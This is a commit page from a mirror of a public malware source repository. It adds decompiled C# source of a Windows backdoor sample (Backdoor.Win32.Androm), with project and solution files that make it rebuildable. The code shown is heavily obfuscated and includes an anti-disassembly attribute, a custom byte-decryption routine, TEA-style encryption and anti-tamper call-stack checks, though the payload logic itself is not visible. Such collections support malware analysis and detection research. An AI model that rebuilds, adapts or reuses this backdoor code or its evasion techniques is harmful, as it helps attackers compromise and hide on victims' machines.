mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-22 02:39:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+12
@@ -0,0 +1,12 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
[assembly: AssemblyCopyright("ORJ")]
|
||||
[assembly: AssemblyDescription("OTE")]
|
||||
[assembly: AssemblyCompany("wEi")]
|
||||
[assembly: AssemblyFileVersion("4.2.5.7")]
|
||||
[assembly: AssemblyProduct("JuL")]
|
||||
[assembly: AssemblyTrademark("hLp")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: AssemblyTitle("UPP")]
|
||||
[assembly: AssemblyVersion("5.4.2.6")]
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>mlw</AssemblyName>
|
||||
<ApplicationVersion>5.4.2.6</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_0002.cs" />
|
||||
<Compile Include="_0003.cs" />
|
||||
<Compile Include="_0005.cs" />
|
||||
<Compile Include="_0006.cs" />
|
||||
<Compile Include="_0008.cs" />
|
||||
<Compile Include="_000E.cs" />
|
||||
<Compile Include="_000F.cs" />
|
||||
<Compile Include="_0002 .cs" />
|
||||
<Compile Include="_0003 .cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include=" " />
|
||||
<EmbeddedResource Include="Wjtc.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "mlw", "Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.csproj", "{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8BE63B67-4719-4BA5-AA00-154C5AEBBF53}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+123
File diff suppressed because one or more lines are too long
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class \u0002 : ApplicationBase
|
||||
{
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
internal static class \u0002\u2000
|
||||
{
|
||||
public static byte[] \u0002(byte[] _param0, byte[] _param1)
|
||||
{
|
||||
byte num1 = _param0[1];
|
||||
int length = _param1.Length;
|
||||
byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
|
||||
uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
|
||||
ushort num4 = 0;
|
||||
for (int index = 0; index < length; ++index)
|
||||
{
|
||||
if ((index & 1) == 0)
|
||||
{
|
||||
num3 = (uint) ((int) num3 * 214013 + 2531011);
|
||||
num4 = (ushort) (num3 >> 16);
|
||||
}
|
||||
byte num5 = (byte) num4;
|
||||
num4 >>= 8;
|
||||
byte num6 = _param1[index];
|
||||
_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
|
||||
num2 = num6;
|
||||
}
|
||||
return _param1;
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class \u0003 : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public \u0003()
|
||||
{
|
||||
}
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
|
||||
internal static class \u0003\u2000
|
||||
{
|
||||
private static \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004 \u0002 = new \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static long \u0002()
|
||||
{
|
||||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
|
||||
return 0;
|
||||
lock (\u0003\u2000.\u0002)
|
||||
{
|
||||
long num1 = \u0003\u2000.\u0002.\u0002();
|
||||
if (num1 == 0L)
|
||||
{
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
List<byte> byteList = new List<byte>();
|
||||
AssemblyName assemblyName;
|
||||
try
|
||||
{
|
||||
assemblyName = executingAssembly.GetName();
|
||||
}
|
||||
catch
|
||||
{
|
||||
assemblyName = new AssemblyName(executingAssembly.FullName);
|
||||
}
|
||||
byte[] collection = assemblyName.GetPublicKeyToken();
|
||||
if (collection != null && collection.Length == 0)
|
||||
collection = (byte[]) null;
|
||||
if (collection != null)
|
||||
byteList.AddRange((IEnumerable<byte>) collection);
|
||||
byteList.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
|
||||
int num2 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
|
||||
int num3 = \u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003.\u0002();
|
||||
byteList.Add((byte) (num2 >> 24));
|
||||
byteList.Add((byte) (num3 >> 16));
|
||||
byteList.Add((byte) (num2 >> 8));
|
||||
byteList.Add((byte) num3);
|
||||
byteList.Add((byte) (num2 >> 16));
|
||||
byteList.Add((byte) (num3 >> 8));
|
||||
byteList.Add((byte) num2);
|
||||
byteList.Add((byte) (num3 >> 24));
|
||||
int count = byteList.Count;
|
||||
ulong num4 = 0;
|
||||
for (int index = 0; index != count; ++index)
|
||||
{
|
||||
ulong num5 = num4 + (ulong) byteList[index];
|
||||
ulong num6 = num5 + (num5 << 20);
|
||||
num4 = num6 ^ num6 >> 12;
|
||||
byteList[index] = (byte) 0;
|
||||
}
|
||||
ulong num7 = num4 + (num4 << 6);
|
||||
ulong num8 = num7 ^ num7 >> 22;
|
||||
num1 = (long) (num8 + (num8 << 30)) ^ -7864757161471127688L;
|
||||
\u0003\u2000.\u0002.\u0002(num1);
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static bool \u0002() => \u0003\u2000.\u0003();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static bool \u0003()
|
||||
{
|
||||
StackFrame frame = new StackTrace().GetFrame(3);
|
||||
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
|
||||
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
|
||||
return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
|
||||
}
|
||||
|
||||
private static int \u0002(Type _param0) => _param0.MetadataToken;
|
||||
|
||||
private sealed class \u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004.\u0002(), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)));
|
||||
}
|
||||
|
||||
private static class \u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003
|
||||
{
|
||||
internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~-540699733;
|
||||
|
||||
internal static int \u0003(int _param0, int _param1) => _param0 - ~--~-~~-~-~1673170882 ^ _param1 + ~--~~-~-~-297411131;
|
||||
|
||||
internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - ~--~~-~-~1323644435 ^ _param0 - _param1;
|
||||
}
|
||||
|
||||
private sealed class \u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)))), \u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005.\u0002());
|
||||
}
|
||||
|
||||
private sealed class \u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)) ^ -~~--~-~-~~1615442953, \u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008.\u0002())));
|
||||
}
|
||||
|
||||
private sealed class \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004
|
||||
{
|
||||
private int \u0002;
|
||||
private int \u0003;
|
||||
|
||||
internal \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004() => this.\u0002(0L);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal long \u0002()
|
||||
{
|
||||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
|
||||
return 2918384;
|
||||
int[] numArray = new int[4]
|
||||
{
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
~--~~-~-~-2002714090
|
||||
};
|
||||
numArray[1] = -~-~-~~-~-1606733917;
|
||||
numArray[2] = ~-~--~~--~~-402418770;
|
||||
numArray[0] = ~-~--~~-~1686541314;
|
||||
int num1 = this.\u0002;
|
||||
int num2 = this.\u0003;
|
||||
int num3 = -~-~-~~-~1640531528;
|
||||
int num4 = ~--~~--~-~~957401312;
|
||||
for (int index = 0; index != 32; ++index)
|
||||
{
|
||||
num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3];
|
||||
num4 -= num3;
|
||||
num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3];
|
||||
}
|
||||
for (int index = 0; index != 4; ++index)
|
||||
numArray[index] = 0;
|
||||
return (long) ((ulong) num2 << 32 | (ulong) (uint) num1);
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal void \u0002(long _param1)
|
||||
{
|
||||
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
|
||||
return;
|
||||
int[] numArray = new int[4]
|
||||
{
|
||||
0,
|
||||
~-~--~-~~-~-1606733920,
|
||||
0,
|
||||
0
|
||||
};
|
||||
numArray[0] = -~-~-~~-~1686541318;
|
||||
numArray[2] = -~-~-~~-~-~-402418768;
|
||||
numArray[3] = -~~-~--~~-~-2002714089;
|
||||
int num1 = -~~-~-~-~1640531524;
|
||||
int num2 = (int) _param1;
|
||||
int num3 = (int) (_param1 >> 32);
|
||||
int num4 = 0;
|
||||
for (int index = 0; index != 32; ++index)
|
||||
{
|
||||
num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3];
|
||||
num4 += num1;
|
||||
num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3];
|
||||
}
|
||||
for (int index = 0; index != 4; ++index)
|
||||
numArray[index] = 0;
|
||||
this.\u0002 = num2;
|
||||
this.\u0003 = num3;
|
||||
}
|
||||
}
|
||||
|
||||
private sealed class \u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002() ^ -~-~-~~-~-527758445, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), -~-~-~~-~-1144099094));
|
||||
}
|
||||
|
||||
private sealed class \u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)) ^ \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004.\u0002())));
|
||||
}
|
||||
|
||||
private sealed class \u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)))))));
|
||||
}
|
||||
}
|
||||
+93
@@ -0,0 +1,93 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class \u0005
|
||||
{
|
||||
private static readonly \u0005.\u0003<\u0003> \u0002 = new \u0005.\u0003<\u0003>();
|
||||
private static readonly \u0005.\u0003<\u0002> \u0003 = new \u0005.\u0003<\u0002>();
|
||||
private static readonly \u0005.\u0003<User> \u0005 = new \u0005.\u0003<User>();
|
||||
private static readonly \u0005.\u0003<\u0005.\u0002> \u0008 = new \u0005.\u0003<\u0005.\u0002>();
|
||||
|
||||
[DebuggerHidden]
|
||||
internal static \u0003 \u0002() => \u0005.\u0002.\u0002();
|
||||
|
||||
[DebuggerHidden]
|
||||
internal static \u0002 \u0002() => \u0005.\u0003.\u0002();
|
||||
|
||||
[DebuggerHidden]
|
||||
internal static User \u0002() => \u0005.\u0005.\u0002();
|
||||
|
||||
[DebuggerHidden]
|
||||
